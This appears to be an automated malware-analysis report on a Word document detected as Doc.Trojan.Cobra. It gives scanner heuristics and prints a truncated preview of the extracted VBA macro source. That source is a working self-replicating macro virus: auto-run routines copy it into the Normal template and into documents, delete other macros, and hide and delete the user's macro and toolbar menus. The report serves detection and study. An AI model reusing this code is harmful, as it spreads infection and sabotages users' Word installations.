MALICIOUS
240
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is identified as malicious by ClamAV with multiple signatures, including 'Doc.Trojan.Cobra-1' and 'Doc.Trojan.Cobra-6'. The presence of AutoOpen and AutoClose VBA macros, along with legacy WordBasic markers, suggests an attempt to execute malicious code upon opening or closing the document. The VBA script appears to be involved in managing or obfuscating malicious components.
Heuristics 5
-
ClamAV: Doc.Trojan.Cobra-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Cobra-1
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 28352 bytes |
SHA-256: 6034d158ddb7de68d0681e73270da722b000f6128b25c39970cd0c1086877fa5 |
|||
|
Detection
ClamAV:
Doc.Trojan.Cobra-6
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Cobra_20C"
'Cobra Version 2.0C
Sub FileExit()
Call CobC
Call CobA
Call CobB
Call CobD
WordBasic.FileExit
End Sub
Sub FileOpen()
Dialogs(wdDialogFileOpen).Show
Call CobC
Call CobA
Call CobB
Call CobD
End Sub
Sub AutoClose()
Call CobC
Call CobA
Call CobB
Call CobD
End Sub
Sub AutoOpen()
Call CobC
Call CobA
Call CobB
Call CobD
End Sub
Sub CobA()
On Error Resume Next
Dim CA, CB, CD, CE, CC
CA = False: CB = False: CD = False: CE = False
For Each CC In NormalTemplate.VBProject.VBComponents
If CC.Name <> "NewCobra" And CC.Name <> "Cobra_20C" _
And CC.Name <> "ThisDocument" Then
Application.OrganizerDelete _
Source:=NormalTemplate.FullName, _
Name:=CC.Name, Object:=wdOrganizerObjectProjectItems
End If
Next
For Each CC In ActiveDocument.VBProject.VBComponents
If CC.Name <> "NewCobra" And CC.Name <> "Cobra_20C" _
And CC.Name <> "ThisDocument" And CC.Name <> _
"Reference to Normal" Then
Application.OrganizerDelete Source:=ActiveDocument.FullName, _
Name:=CC.Name, Object:=wdOrganizerObjectProjectItems
End If
Next
For Each CC In ActiveDocument.VBProject.VBComponents
If CC.Name = "Cobra_20C" Then CA = True
Next
For Each CC In ActiveDocument.VBProject.VBComponents
If CC.Name = "NewCobra" Then CB = True
Next
For Each CC In NormalTemplate.VBProject.VBComponents
If CC.Name = "NewCobra" Then CD = True
Next
For Each CC In NormalTemplate.VBProject.VBComponents
If CC.Name = "Cobra_20C" Then CE = True
Next
If CD = False And CE = False And CA = True Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName, Name:="Cobra_20C", _
Object:=wdOrganizerObjectProjectItems
End If
If CD = False And CE = False And CB = True Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName, Name:="NewCobra", _
Object:=wdOrganizerObjectProjectItems
End If
If CA = True And CB = False Then
Application.OrganizerRename Source:=ActiveDocument.FullName, _
Name:="Cobra_20C", NewName:="NewCobra", _
Object:=wdOrganizerObjectProjectItems
ElseIf CA = False And CB = True Then
Application.OrganizerRename Source:=ActiveDocument.FullName, _
Name:="NewCobra", NewName:="Cobra_20C", _
Object:=wdOrganizerObjectProjectItems
End If
End Sub
Sub CobB()
On Error Resume Next
Dim CA, CB, CD, CE, CC
CA = False: CB = False: CD = False: CE = False
For Each CC In NormalTemplate.VBProject.VBComponents
If CC.Name = "Cobra_20C" Then CA = True
Next
For Each CC In NormalTemplate.VBProject.VBComponents
If CC.Name = "NewCobra" Then CB = True
Next
For Each CC In ActiveDocument.VBProject.VBComponents
If CC.Name = "Cobra_20C" Then CD = True
Next
For Each CC In ActiveDocument.VBProject.VBComponents
If CC.Name = "NewCobra" Then CE = True
Next
If CD = False And CE = False And CA = True Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, _
Destination:=ActiveDocument.FullName, _
Name:="Cobra_20C", Object:=wdOrganizerObjectProjectItems
End If
If CD = False And CE = False And CB = True Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, _
Destination:=ActiveDocument.FullName, _
Name:="NewCobra", Object:=wdOrganizerObjectProjectItems
End If
If CA = True Then
Application.OrganizerRename Source:=NormalTemplate, _
Name:="Cobra_20C", NewName:="NewCobra", _
Object:=wdOrganizerObjectProjectItems
End If
If CB = True Then
Application.OrganizerRename Source:=NormalTemplate, _
Name:="NewCobra", NewName:="Cobra_20C", _
Object:=wdOrganizerObjectProjectItems
End If
End Sub
Sub CobC()
On Error Resume Next
CommandBars("Tools").Controls("Macro").Enabled = False
CommandBars("Tools").Controls("Macro").Visible = False
CommandBars("Tools").Controls("Macro").Delete
CommandBars("View").Controls("Toolbars").Enabled = False
CommandBars("
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.